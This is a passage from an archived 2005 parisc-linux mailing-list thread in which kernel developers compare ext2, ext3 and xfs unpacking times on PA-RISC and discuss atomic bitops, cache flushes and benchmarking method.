	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01271-01; Fri, 11 Feb 2005 09:54:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 199A37D663;
	Fri, 11 Feb 2005 09:54:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73C2C7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:54:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01024-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:54:38 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id EBB827D657
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:54:37 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1Cze3b-0005Px-JV; Fri, 11 Feb 2005 16:54:15 +0000
Content-Disposition: inline
In-Reply-To: <20050211165322.GA8835@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IYppAxoofW4o/eWveGVodW5mdmllcgVS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22330

On Fri, Feb 11, 2005 at 09:53:22AM -0700, Grant Grundler wrote:
> And I suspect -02 data is with willy's vma_prev patch applied
> that he proposed here:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025210.html

Probably not -- it crashes the machine ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 10:18:46 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20050211171846.GB8835@colo.lackof.org>
References: <20050211071629.GA32318@colo.lackof.org>
	<20050211165322.GA8835@colo.lackof.org>
	<20050211165415.GF17242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623663 12661 80.91.229.3 (22 Nov 2014 02:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 17:18:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 11 Feb 2005 18:18:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A526F7D670;
	Fri, 11 Feb 2005 10:18:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01552-01; Fri, 11 Feb 2005 10:18:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97A5D7D664;
	Fri, 11 Feb 2005 10:18:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16C9E7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 10:18:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01303-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 10:18:31 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9FFC77D659
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 10:18:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F298329802F;
	Fri, 11 Feb 2005 10:18:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09393-06; Fri, 11 Feb 2005 10:18:46 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9F7C929802E; Fri, 11 Feb 2005 10:18:46 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050211165415.GF17242@parcelfarce.linux.theplanet.co.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: l4VuFnAobXBt/bqHPTQ2ODYqLyUmZQiZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22331

On Fri, Feb 11, 2005 at 04:54:15PM +0000, Matthew Wilcox wrote:
> On Fri, Feb 11, 2005 at 09:53:22AM -0700, Grant Grundler wrote:
> > And I suspect -02 data is with willy's vma_prev patch applied
> > that he proposed here:
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025210.html
> 
> Probably not -- it crashes the machine ;-)

Ok :^(

We called flush_kernel_icache_page half as many times (5541 vs 2217).
And flush_user_icache_range_asm 1/5th a often (1279 vs 270).
Both are SMP kernels.

I have no idea what else might result in such a major difference.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 10:47:52 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20050211174752.GC8835@colo.lackof.org>
References: <20050211071629.GA32318@colo.lackof.org>
	<420CAE3C.7090004@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623664 12662 80.91.229.3 (22 Nov 2014 02:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Corn? Beerse <cbeerse@lycos.nl>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 17:47:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 11 Feb 2005 18:47:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5E847D653;
	Fri, 11 Feb 2005 10:47:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01552-07; Fri, 11 Feb 2005 10:47:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B58DB7D659;
	Fri, 11 Feb 2005 10:47:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C44247D652
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 10:47:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01491-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 10:47:36 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5AC8B7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 10:47:36 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C8A7329802F;
	Fri, 11 Feb 2005 10:47:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09692-06; Fri, 11 Feb 2005 10:47:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7D0FC29802E; Fri, 11 Feb 2005 10:47:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <420CAE3C.7090004@lycos.nl>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5KlqKD5SaHI+76WnKSUlaGJqamdhZESY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22332

On Fri, Feb 11, 2005 at 02:08:12PM +0100, Corn? Beerse wrote:
...
> >In a nut shell, I timed unpacking the linux source tree:
> >
> >FS 	real		user		sys
> >ext2	2m10.814s	0m53.424s	0m6.084s
> >ext3	3m46.577s	0m54.619s	1m34.553s
> >xfs	1m22.205s	0m53.952s	0m9.739s
> >md0+xfs	1m27.740s	0m54.550s	0m12.885s
...
> It would be nice if you can give similar stats for different architectures, 
> either within pa-risc or even on other platforms.

Sorry, who ever is interested in that comparison can provide that data. :^)

> I don't know what you mean by mdstripping, If it is something like raid-0 
> or raid-1 (or the combination) then striping is only faster on reading, not 
> on writing.

Yes, I meant raid0.

> You'd definitly also peek at reiserfs, Its the default fs used in SuSE 
> linux.

That sounds like an excercise for someone else.

> If you intend to re-do your tests, think about the next: To test read 
> speed, `cp -r` to /dev/null. To test write speed of small files, tar from 
> the fastest read-system. (for large files, just copy from /dev/zero).

ok. My guess was with 4GB of RAM, I was mostly operating from buffer cache.
Maybe next time I'll use ram disks instead.

> >BTW, I get segfaults on the ext3.
> 
> Thats a bad sign...

My bad. I was running two instances of "make" in the same source tree.
I had forgotten about the "while :" loop that was doing builds.
/me hides

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 14:08:12 +0100
Lines: 104
Approved: news@gmane.org
Message-ID: <420CAE3C.7090004@lycos.nl>
References: <20050211071629.GA32318@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623664 12664 80.91.229.3 (22 Nov 2014 02:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 13:08:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 11 Feb 2005 14:08:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBC2E7D663;
	Fri, 11 Feb 2005 06:08:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31069-08; Fri, 11 Feb 2005 06:08:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0227D657;
	Fri, 11 Feb 2005 06:08:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A8537D655
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 06:08:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31043-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 06:08:37 -0700 (MST)
Original-Received: from lmfilto02.st1.spray.net (lmfilto02.st1.spray.net
	[212.78.202.66])
	by free.linux.hp.com (Postfix) with ESMTP id C72097D650
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 06:08:36 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto02.st1.spray.net (Postfix) with ESMTP
	id 3C0FE15428C; Fri, 11 Feb 2005 13:08:14 +0000 (GMT)
Original-Received: from lmsmtp02.st1.spray.net ([212.78.202.112])
	by localhost (lmfilto02.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 08720-01; Fri, 11 Feb 2005 13:08:13 +0000 (GMT)
Original-Received: from [130.78.75.214] (unknown [193.172.135.148])
	by lmsmtp02.st1.spray.net (Postfix) with ESMTP id 7A6A54E;
	Fri, 11 Feb 2005 13:08:13 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.7.3) Gecko/20040910
X-Accept-Language: en-us, en
In-Reply-To: <20050211071629.GA32318@colo.lackof.org>
X-Virus-Scanned: by amavisd-new at spray.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VtQ5Kg9EZDI4v7HGdWY2OGRxemhmYwGU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22333

Grant Grundler wrote:

> Hi all,
> ext3 perf isn't so good on parisc.

Well, From what I know on the linux filesystem types, I can imagine that ext3 is 
not the fastest among them.

ext2 is a (the?) linux normal filesystem: data storage is straigt-forward and such.
ext3 is basically ext2 with added journalling. For reading, it should be just as 
fast as ext2. For writing it is definitly slower than ext2 since it does ext2 
and journalling. As far as I know, the journalling is added to get additional 
data-safety; the filesystem-check is definitly faster/better than for ext2. I 
expect this is at the cost of writing performance.

I don't know xfs, I expect it to be comparable with reiserfs in that it is a 
journalling filesystem, designed from scratch. For these filesystems, I expect 
better performance than ext3 and, depending on several parameters, even better 
performance than ext2.

Between ext2 and xfs/reiser I expect ext2 to be better for large files and the 
others better for lots of small files.

> I've posted profile data for kernel builds:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025196.html
> 
> But not for "tar". I can't find the data I collect before. :^(
> ISTR the culprit in ext3 was the bitmap search using atomic ops.
> On parisc, atomic ops are terrible since it requires a spinlock/op/unlock
> sequence.
> 
> I was asked about tar perf again and decided to post some results.
> If someone tells me which wiki page to add this, I'll pound parts
> of the data below into it.
> 
> In a nut shell, I timed unpacking the linux source tree:
> 
> FS 	real		user		sys
> ext2	2m10.814s	0m53.424s	0m6.084s
> ext3	3m46.577s	0m54.619s	1m34.553s
> xfs	1m22.205s	0m53.952s	0m9.739s
> md0+xfs	1m27.740s	0m54.550s	0m12.885s

This clearly shows, that the filesystems do have some differences in performance 
and all are in system-time, the user-time is comparable.

It would be nice if you can give similar stats for different architectures, 
either within pa-risc or even on other platforms.

> 
> User time is predominantly bzip2 running.

There are several things in comparing filesystems. Some (ext2 I expect) 
filesystems are good in hanldling large files. Some (I expect the journaling 
ones) are good in handling many small files.

With bzip2 running, I expect you use packing or unpacking the kernel-source for 
a test. To get raw figures, better use `tar`, `cp -R` or `dd`. And be sure to 
work from one disk to an other.

> 
> I didn't realize xfs can schedule work better than ext2 on a single disk.
> Adding md striping adds ~6% overhead...that's not so good.
> It's possible I need bigger chunks and that would go away.

I don't know what you mean by mdstripping, If it is something like raid-0 or 
raid-1 (or the combination) then striping is only faster on reading, not on writing.

> 
> I don't know if defaults are comparable between xfs and ext3.
> Is one implementing more or better features by default than the other?

As above: ext3 is ext2 with added journalling. xfs is designed from the ground 
up. I'm surprised to see that ext3 takes 15 times more system-time!

> 
> I'll be looking at mdadm+xfs for future file systems to see
> if I can break it. Or I'll have to live without journaling on
> "stable" build machines. The ext3 "tar" performance is just
> unacceptable.

You'd definitly also peek at reiserfs, Its the default fs used in SuSE linux.

If you intend to re-do your tests, think about the next: To test read speed, `cp 
-r` to /dev/null. To test write speed of small files, tar from the fastest 
read-system. (for large files, just copy from /dev/zero).

> 
> BTW, I get segfaults on the ext3 G

Thats a bad sign...



my 2 cents

CBee
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 14:42:44 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20050211144244.GD17242@parcelfarce.linux.theplanet.co.uk>
References: <20050211071629.GA32318@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623664 12666 80.91.229.3 (22 Nov 2014 02:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 14:43:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 11 Feb 2005 15:43:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CF4B7D665;
	Fri, 11 Feb 2005 07:43:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32374-09; Fri, 11 Feb 2005 07:43:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 793CE7D65B;
	Fri, 11 Feb 2005 07:43:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 844627D657
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 07:43:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32374-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 07:43:08 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 048147D656
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 07:43:08 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1Czc0L-0004xe-LG; Fri, 11 Feb 2005 14:42:45 +0000
Content-Disposition: inline
In-Reply-To: <20050211071629.GA32318@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SfI/dt0mTXs976yRbmQ5NzVKRzdyMoNJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22334

On Fri, Feb 11, 2005 at 12:16:29AM -0700, Grant Grundler wrote:
> Hi all,
> ext3 perf isn't so good on parisc.
> I've posted profile data for kernel builds:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025196.html
> 
> But not for "tar". I can't find the data I collect before. :^(
> ISTR the culprit in ext3 was the bitmap search using atomic ops.
> On parisc, atomic ops are terrible since it requires a spinlock/op/unlock
> sequence.

I switched the ext2/3 bitops to use the non-atomic ops.  Tried it on nicol
(dual 550MHz PA8600) ...

$ time tar xjf ~/linux-2.6.11-rc3.tar.bz2 

real    25m4.557s
user    1m7.262s
sys     24m59.092s

ouch.  time to do some profiling, i guess, instead of assuming I saw
the problem and the fix ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
